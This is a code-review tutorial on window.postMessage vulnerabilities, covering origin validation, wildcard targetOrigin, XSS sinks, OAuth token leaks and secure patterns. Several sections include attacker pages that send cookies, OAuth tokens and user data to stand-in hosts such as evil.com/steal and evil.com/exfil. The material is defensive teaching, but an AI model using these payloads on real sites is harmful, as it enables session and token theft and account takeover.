01 //Introduction to postMessage Vulnerabilities
The window.postMessage() API enables cross-origin communication between windows — a parent page and an iframe, a page and a popup, or even between tabs. While essential for modern web applications (embedded widgets, SSO flows, payment gateways), insecure postMessage usage is one of the most common client-side vulnerabilities found during code review.
message event listener, they are explicitly opening a channel for cross-origin data. If that channel lacks proper validation, any website on the internet can send messages to — or receive messages from — the vulnerable application. This leads to XSS, token theft, authentication bypasses, and account takeovers.In this guide, you'll learn how the postMessage API works and where the security boundaries lie, why missing origin validation is the #1 vulnerability pattern, how attackers exploit postMessage for XSS and data exfiltration, how to spot dangerous patterns during code review, and how to implement postMessage securely.
What makes postMessage fundamentally different from other browser APIs from a security perspective?
02 //How postMessage Works
The postMessage API has two sides: the sender (calls postMessage()) and the receiver (listens for the message event). Both sides have security-critical parameters.
1// Syntax: targetWindow.postMessage(message, targetOrigin)
2
3// From parent page → iframe
4const iframe = document.getElementById('payment-widget');
5iframe.contentWindow.postMessage(
6 { action: 'processPayment', amount: 99.99 },
7 'https://payments.trusted.com' // ← targetOrigin: ONLY deliver
8); // if iframe is on this origin
9
10// From iframe → parent
11window.parent.postMessage(
12 { status: 'payment_complete', txId: 'abc123' },
13 'https://app.example.com' // ← ONLY deliver if parent is this origin
14);
15
16// From page → popup
17const popup = window.open('https://auth.example.com/login');
18popup.postMessage(
19 { action: 'getToken' },
20 'https://auth.example.com'
21);1// The receiver adds an event listener for "message" events
2window.addEventListener('message', (event) => {
3 // event.origin — The origin of the sender (e.g., "https://app.example.com")
4 // event.data — The message payload (any serializable value)
5 // event.source — A reference to the sender's window object
6
7 // ✅ CRITICAL: Always validate the origin first!
8 if (event.origin !== 'https://app.example.com') {
9 return; // Reject messages from unexpected origins
10 }
11
12 // Now safe to process the message
13 console.log('Received:', event.data);
14});"*" means any origin can receive it — dangerous if the message contains sensitive data.event.origin (receiver side): Tells the receiver where the message came from. Failing to check this means any website can send messages to your application. Both sides must be validated for secure communication.
03 //Missing Origin Validation
The most common and dangerous postMessage vulnerability is a message event listener that does not validate event.origin. This allows any website to send messages to the vulnerable application.
1// ❌ VULNERABLE: Accepts messages from ANY origin
2window.addEventListener('message', (event) => {
3 // No origin validation! Any website can trigger this.
4
5 if (event.data.action === 'updateProfile') {
6 // Attacker can forge this message from evil.com
7 updateUserProfile(event.data.profile);
8 }
9
10 if (event.data.action === 'navigate') {
11 // Attacker can redirect the user anywhere
12 window.location.href = event.data.url;
13 }
14
15 if (event.data.action === 'setHTML') {
16 // Attacker achieves XSS
17 document.getElementById('content').innerHTML = event.data.html;
18 }
19});The Attack: The attacker hosts a page on evil.com that embeds the vulnerable application in an iframe (or opens it as a popup), then sends crafted messages:
1<!-- Attacker hosts this on evil.com -->
2<iframe id="victim" src="https://app.example.com" style="display:none"></iframe>
3
4<script>
5 const victim = document.getElementById('victim');
6
7 victim.onload = function() {
8 // Send malicious message — the victim app accepts it
9 // because there's no origin check!
10
11 // Attack 1: XSS
12 victim.contentWindow.postMessage({
13 action: 'setHTML',
14 html: '<img src=x onerror="document.location=\'https://evil.com/steal?cookie=\'+document.cookie">'
15 }, '*');
16
17 // Attack 2: Open redirect
18 victim.contentWindow.postMessage({
19 action: 'navigate',
20 url: 'https://evil.com/phishing'
21 }, '*');
22
23 // Attack 3: Profile manipulation
24 victim.contentWindow.postMessage({
25 action: 'updateProfile',
26 profile: { email: 'attacker@evil.com', role: 'admin' }
27 }, '*');
28 };
29</script>A developer argues: 'Our app is not embeddable in an iframe because we set X-Frame-Options: DENY, so postMessage attacks are impossible.' Is this correct?
04 //Wildcard targetOrigin ("*")
Using "*" as the targetOrigin when sending a message means the message will be delivered to the target window regardless of its current origin. If the message contains sensitive data (tokens, user info, session data), any page that gains a reference to the window can intercept it.
1// ❌ VULNERABLE: Sending sensitive data with targetOrigin "*"
2// This is common in OAuth/SSO popup flows
3
4// Parent page opens OAuth popup
5const authPopup = window.open('https://auth.provider.com/authorize');
6
7// Somewhere in the OAuth callback, the popup sends the token back:
8// (inside the popup / OAuth callback page)
9window.opener.postMessage(
10 { type: 'auth_complete', token: 'eyJhbGciOiJSUzI1...' },
11 '*' // ⚠️ Delivers to opener REGARDLESS of its origin!
12);
13
14// THE ATTACK:
15// 1. Attacker page on evil.com opens the OAuth flow
16// 2. User authenticates (they see the real OAuth provider)
17// 3. OAuth callback popup sends token with targetOrigin "*"
18// 4. evil.com (the opener) receives the token!Why developers use "*": The popup doesn't always know the exact origin of the opener (especially in multi-tenant or development environments). The "easy fix" is to use "*" — but this creates a serious vulnerability. The correct solution is to pass the expected origin as a parameter or use event.origin from an initial handshake message.
1<!-- Attacker page on evil.com -->
2<script>
3 // Step 1: Open the OAuth flow — user sees the real login page
4 const authPopup = window.open(
5 'https://auth.provider.com/authorize?client_id=legit_app&redirect_uri=...'
6 );
7
8 // Step 2: Listen for the token
9 window.addEventListener('message', (event) => {
10 if (event.data && event.data.token) {
11 // Step 3: Steal the token!
12 fetch('https://evil.com/collect', {
13 method: 'POST',
14 body: JSON.stringify({ stolen_token: event.data.token })
15 });
16 }
17 });
18</script>postMessage("*") is safe because "the message only goes to the specific window reference." While the message IS only delivered to the referenced window, the window could have been navigated to a different origin. For example, an attacker could navigate a popup's opener to evil.com before the popup sends its message. With targetOrigin: "*", the message (and its sensitive data) is delivered to evil.com.An application sends: iframe.contentWindow.postMessage({user: currentUser}, "*"). The iframe is loaded from https://widget.trusted.com. Is this safe?
05 //XSS via postMessage
The most impactful postMessage vulnerability is when the receiver uses message data in a DOM sink — particularly innerHTML, document.write(), eval(), or URL assignments. Without origin validation, this gives the attacker direct XSS.
1// ❌ VULNERABLE: Message data → innerHTML
2window.addEventListener('message', (event) => {
3 // No origin check!
4 const notification = event.data.notification;
5
6 // Attacker sends: { notification: "<img src=x onerror=alert(document.cookie)>" }
7 document.getElementById('notifications').innerHTML = notification;
8 // → XSS achieved
9});1// ❌ VULNERABLE: Message data → eval
2window.addEventListener('message', (event) => {
3 // Supposedly for "remote configuration" or "dynamic actions"
4 if (event.data.type === 'execute') {
5 eval(event.data.code); // Attacker sends arbitrary code
6 }
7
8 // Or via Function constructor:
9 if (event.data.type === 'callback') {
10 const fn = new Function(event.data.body);
11 fn(); // Same effect as eval
12 }
13});1// ❌ VULNERABLE: Message data → location (open redirect / javascript: XSS)
2window.addEventListener('message', (event) => {
3 if (event.data.action === 'redirect') {
4 window.location.href = event.data.url;
5 // Attacker sends: { action: "redirect", url: "javascript:alert(1)" }
6 // Or phishing: { action: "redirect", url: "https://evil.com/fake-login" }
7 }
8});
9
10// ❌ VULNERABLE: Message data → script.src
11window.addEventListener('message', (event) => {
12 if (event.data.type === 'loadScript') {
13 const script = document.createElement('script');
14 script.src = event.data.url; // Attacker loads malicious script
15 document.body.appendChild(script);
16 }
17});You find this code during review: window.addEventListener('message', e => { if (e.origin === 'https://trusted.com') { document.getElementById('output').innerHTML = e.data.html; } }). Is this secure?
06 //Data Exfiltration Attacks
In the reverse direction, a vulnerable application may send sensitive data via postMessage to an untrusted recipient. This happens when the sender uses "*" as the targetOrigin or when the receiver's origin is not verified before sending.
1// ❌ VULNERABLE: Responds to any message with user data
2window.addEventListener('message', (event) => {
3 // No origin check — any window can request user data!
4
5 if (event.data.action === 'getUserInfo') {
6 event.source.postMessage({
7 type: 'userInfo',
8 data: {
9 name: currentUser.name,
10 email: currentUser.email,
11 authToken: currentUser.token, // ← Token exfiltrated!
12 sessionId: document.cookie
13 }
14 }, '*'); // ← Sent to ANY origin
15 }
16});The Attack: The attacker frames the vulnerable application and requests user data:
1<!-- evil.com -->
2<iframe id="target" src="https://app.example.com" style="opacity:0;position:absolute"></iframe>
3
4<script>
5 const target = document.getElementById('target');
6
7 // Listen for the victim's response
8 window.addEventListener('message', (event) => {
9 if (event.data.type === 'userInfo') {
10 // Exfiltrate the stolen data
11 fetch('https://evil.com/exfil', {
12 method: 'POST',
13 headers: { 'Content-Type': 'application/json' },
14 body: JSON.stringify(event.data.data)
15 });
16 }
17 });
18
19 // Request the data once the iframe loads
20 target.onload = () => {
21 target.contentWindow.postMessage(
22 { action: 'getUserInfo' },
23 '*'
24 );
25 };
26</script>07 //Detection During Code Review
PostMessage vulnerabilities follow predictable patterns. During code review, systematically search for message listeners and postMessage calls, then verify each one has proper security controls.
Code Review Detection Patterns
| Pattern | What to Look For | Risk Level |
|---|---|---|
| addEventListener("message") | Any message listener — check if event.origin is validated before processing event.data | Critical if no origin check |
| postMessage(data, "*") | Wildcard targetOrigin — check if the message contains sensitive data (tokens, user info, session data) | Critical if sensitive data |
| event.data → innerHTML | Message data used in innerHTML, outerHTML, document.write, or insertAdjacentHTML | Critical (XSS sink) |
| event.data → eval / Function | Message data passed to eval(), new Function(), setTimeout(string), or setInterval(string) | Critical (code execution) |
| event.data → location | Message data assigned to window.location, location.href, or used in window.open() | High (open redirect / XSS) |
| event.data → fetch/XMLHttpRequest | Message data used in URL or body of network requests — can enable SSRF or data exfiltration | High |
| Partial origin check | event.origin.includes("trusted") or event.origin.indexOf("trusted") — can be bypassed with "trusted.evil.com" | Critical (bypass) |
| event.source.postMessage(..., "*") | Responding to messages with sensitive data using wildcard — data leaks to any requester | Critical if sensitive |
1# Find all message listeners
2grep -rn 'addEventListener.*["']message["']' --include="*.js" --include="*.ts" --include="*.tsx"
3
4# Find postMessage calls with wildcard
5grep -rn "postMessage.*'\*'" --include="*.js" --include="*.ts"
6grep -rn 'postMessage.*"\*"' --include="*.js" --include="*.ts"
7
8# Find message listeners WITHOUT origin checks (naive but helpful)
9# Look for handlers that access event.data but never reference event.origin
10grep -A 20 'addEventListener.*message' --include="*.js" | grep -L 'origin'
11
12# Find dangerous sinks near message handlers
13grep -A 30 'addEventListener.*message' --include="*.js" | grep -E 'innerHTML|outerHTML|document\.write|eval\(|Function\(|location'You find this origin check: if (event.origin.indexOf('example.com') > -1) { ... }. Is this secure?
08 //Secure Implementation Patterns
Implementing postMessage securely requires defense on both the sender and receiver sides. Here are the patterns that eliminate the most common vulnerabilities.
1// ✅ SECURE: Full validation on the receiver side
2const ALLOWED_ORIGINS = new Set([
3 'https://app.example.com',
4 'https://staging.example.com',
5]);
6
7window.addEventListener('message', (event) => {
8 // Step 1: Strict origin validation
9 if (!ALLOWED_ORIGINS.has(event.origin)) {
10 console.warn('Rejected message from unauthorized origin:', event.origin);
11 return;
12 }
13
14 // Step 2: Validate message structure (schema validation)
15 if (!event.data || typeof event.data.action !== 'string') {
16 return;
17 }
18
19 // Step 3: Allowlist of expected actions
20 switch (event.data.action) {
21 case 'updateNotification':
22 // ✅ Use textContent instead of innerHTML
23 document.getElementById('notification').textContent = event.data.text;
24 break;
25
26 case 'navigate':
27 // ✅ Validate URL against allowlist
28 const allowedPaths = ['/dashboard', '/settings', '/profile'];
29 if (allowedPaths.includes(event.data.path)) {
30 window.location.pathname = event.data.path;
31 }
32 break;
33
34 default:
35 console.warn('Unknown action:', event.data.action);
36 }
37});1// ✅ SECURE: Always specify exact targetOrigin
2const WIDGET_ORIGIN = 'https://widget.trusted.com';
3
4// Send to iframe with specific origin
5iframe.contentWindow.postMessage(
6 { action: 'initialize', config: safeConfig },
7 WIDGET_ORIGIN // ✅ Never use "*"
8);
9
10// ✅ SECURE: Handshake pattern for popups
11// The popup doesn't know the opener's exact origin,
12// so the opener initiates with a "ready" message.
13
14// Parent page:
15const popup = window.open('https://auth.provider.com/callback');
16window.addEventListener('message', (event) => {
17 if (event.origin !== 'https://auth.provider.com') return;
18
19 if (event.data.type === 'ready') {
20 // Popup is ready — send it our origin
21 event.source.postMessage(
22 { type: 'origin_info', origin: window.location.origin },
23 'https://auth.provider.com'
24 );
25 }
26 if (event.data.type === 'auth_token') {
27 handleToken(event.data.token);
28 }
29});
30
31// Popup page:
32window.addEventListener('message', (event) => {
33 if (event.data.type === 'origin_info') {
34 // Now we know the opener's origin — use it for responses
35 window.opener.postMessage(
36 { type: 'auth_token', token: authToken },
37 event.data.origin // ✅ Specific origin from handshake
38 );
39 }
40});
41window.opener.postMessage({ type: 'ready' }, '*'); // Initial ready is safe — no sensitive data- Always validate event.origin — Use strict equality (
===) against an allowlist. Never useindexOf,includes,startsWith, or regex that can be bypassed. - Always specify targetOrigin — Use the exact expected origin, never
"*", when the message contains any sensitive data. - Use safe DOM APIs — Even with origin validation, use
textContentinstead ofinnerHTML. If HTML is required, sanitize with DOMPurify. - Validate message schema — Check that
event.datamatches the expected shape before processing. Reject unexpected actions. - Use MessageChannel for private channels — For ongoing two-way communication, transfer a
MessagePortvia postMessage. Subsequent messages over the port don't need origin checks because the channel is private.
09 //OAuth & SSO postMessage Flows
OAuth and SSO flows frequently use postMessage to communicate tokens between a popup/iframe and the parent application. These flows are high-value targets because they handle authentication tokens.
1// ❌ VULNERABLE: OAuth callback popup sends token with "*"
2// This is found in many OAuth client libraries
3
4// callback.html (loaded after OAuth redirect)
5const params = new URLSearchParams(window.location.hash.slice(1));
6const accessToken = params.get('access_token');
7
8// Send token back to opener
9window.opener.postMessage(
10 { type: 'oauth_callback', access_token: accessToken },
11 '*' // ⚠️ Any page that opened this popup gets the token!
12);
13window.close();1// ✅ SECURE: Use state parameter to validate and specify targetOrigin
2
3// Step 1: Parent generates a random state and stores expected origin
4const state = crypto.randomUUID();
5sessionStorage.setItem('oauth_state', state);
6const callbackOrigin = window.location.origin;
7
8const popup = window.open(
9 `https://auth.provider.com/authorize?state=${state}&redirect_uri=${callbackOrigin}/callback`
10);
11
12// Step 2: Parent listens for the token with origin check
13window.addEventListener('message', (event) => {
14 if (event.origin !== window.location.origin) return;
15 if (event.data.type !== 'oauth_callback') return;
16 if (event.data.state !== sessionStorage.getItem('oauth_state')) return;
17
18 handleOAuthToken(event.data.access_token);
19 sessionStorage.removeItem('oauth_state');
20});
21
22// Step 3: Callback page sends token with specific origin
23// callback.html
24const params = new URLSearchParams(window.location.search);
25const token = params.get('access_token');
26const state = params.get('state');
27
28// The redirect_uri ensures we're on the correct origin
29// Send back to our OWN origin (same-origin postMessage is safe)
30window.opener.postMessage(
31 { type: 'oauth_callback', access_token: token, state: state },
32 window.location.origin // ✅ Same origin, not "*"
33);
34window.close();"*". Modern Google Identity Services (GIS) fixes this, but legacy gapi.auth2 integrations may still be vulnerable. During code review, check which version of Google auth the application uses.10 //Framework-Specific Pitfalls
Modern frameworks introduce their own postMessage patterns and pitfalls. Here are the key areas to review.
1// ❌ VULNERABLE: Missing cleanup — listener accumulates on re-renders
2function ChatWidget() {
3 const [messages, setMessages] = useState<string[]>([]);
4
5 useEffect(() => {
6 window.addEventListener('message', (event) => {
7 // Missing origin check AND missing cleanup!
8 if (event.data.type === 'chat_message') {
9 setMessages(prev => [...prev, event.data.text]);
10 }
11 });
12 // No return cleanup function!
13 }, []);
14
15 return <div dangerouslySetInnerHTML={{ __html: messages.join('<br>') }} />;
16 // Double vulnerability: XSS via dangerouslySetInnerHTML
17}
18
19// ✅ SECURE: Proper cleanup + origin check + safe rendering
20function SecureChatWidget() {
21 const [messages, setMessages] = useState<string[]>([]);
22
23 useEffect(() => {
24 const handler = (event: MessageEvent) => {
25 if (event.origin !== 'https://chat.trusted.com') return;
26 if (event.data?.type === 'chat_message' && typeof event.data.text === 'string') {
27 setMessages(prev => [...prev, event.data.text]);
28 }
29 };
30
31 window.addEventListener('message', handler);
32 return () => window.removeEventListener('message', handler); // ✅ Cleanup
33 }, []);
34
35 return (
36 <div>
37 {messages.map((msg, i) => (
38 <p key={i}>{msg}</p> // ✅ React auto-escapes text content
39 ))}
40 </div>
41 );
42}1// ⚠️ PITFALL: postMessage is a browser API — not available in SSR
2// This code will crash during server-side rendering
3
4// ❌ BAD: Calling postMessage at module level
5window.postMessage({ type: 'init' }, '*'); // ReferenceError: window is not defined
6
7// ✅ CORRECT: Guard with typeof window check or use useEffect
8'use client';
9import { useEffect } from 'react';
10
11export function Widget() {
12 useEffect(() => {
13 // Safe — only runs in the browser
14 window.addEventListener('message', handler);
15 return () => window.removeEventListener('message', handler);
16 }, []);
17}Framework-Specific Review Points
| Framework | Pitfall | What to Check |
|---|---|---|
| React | Missing useEffect cleanup | Ensure message listeners added in useEffect have a cleanup return function |
| React | dangerouslySetInnerHTML with message data | Even with origin checks, message data in dangerouslySetInnerHTML = XSS |
| Angular | DomSanitizer.bypassSecurityTrustHtml | Check if postMessage data is passed through sanitizer bypass functions |
| Vue | v-html directive with message data | v-html does not sanitize — equivalent to innerHTML |
| Next.js / Nuxt | SSR window access | postMessage listeners must be in client components / onMounted() — not server code |
| Micro-frontends | Shared postMessage bus | Multi-app postMessage buses often skip origin checks because all apps are "trusted" |
11 //Real-World Case Studies
12 //Conclusion & Code Review Checklist
PostMessage vulnerabilities remain one of the most frequently found issues in modern web application security reviews. They are easy to introduce, easy to miss, and can have critical impact. Use this checklist during every code review.
PostMessage Code Review Checklist
| Category | Check | Priority |
|---|---|---|
| Receivers | Does every addEventListener("message") handler validate event.origin before processing event.data? | Critical |
| Receivers | Is the origin check strict equality (===) against an allowlist, not indexOf/includes/startsWith/regex? | Critical |
| Receivers | Is event.data used in any DOM sink (innerHTML, document.write, eval, location)? | Critical |
| Receivers | Is the message schema validated (expected shape, types, allowed actions)? | High |
| Senders | Does postMessage() use a specific targetOrigin instead of "*"? | Critical if sensitive data |
| Senders | Does event.source.postMessage() use a specific origin when responding to messages? | Critical if sensitive data |
| OAuth/SSO | Do OAuth popup/iframe flows send tokens with a specific targetOrigin? | Critical |
| OAuth/SSO | Is the OAuth state parameter validated to prevent token interception? | High |
| Frameworks | Do React useEffect message listeners have cleanup functions? | Medium |
| Frameworks | Is message data passed to dangerouslySetInnerHTML, v-html, or [innerHTML]? | Critical |
| Architecture | Are MessageChannels used for ongoing two-way communication instead of open postMessage? | Recommended |
| Architecture | Is the app frameable? Does X-Frame-Options / CSP frame-ancestors limit who can embed it? | High |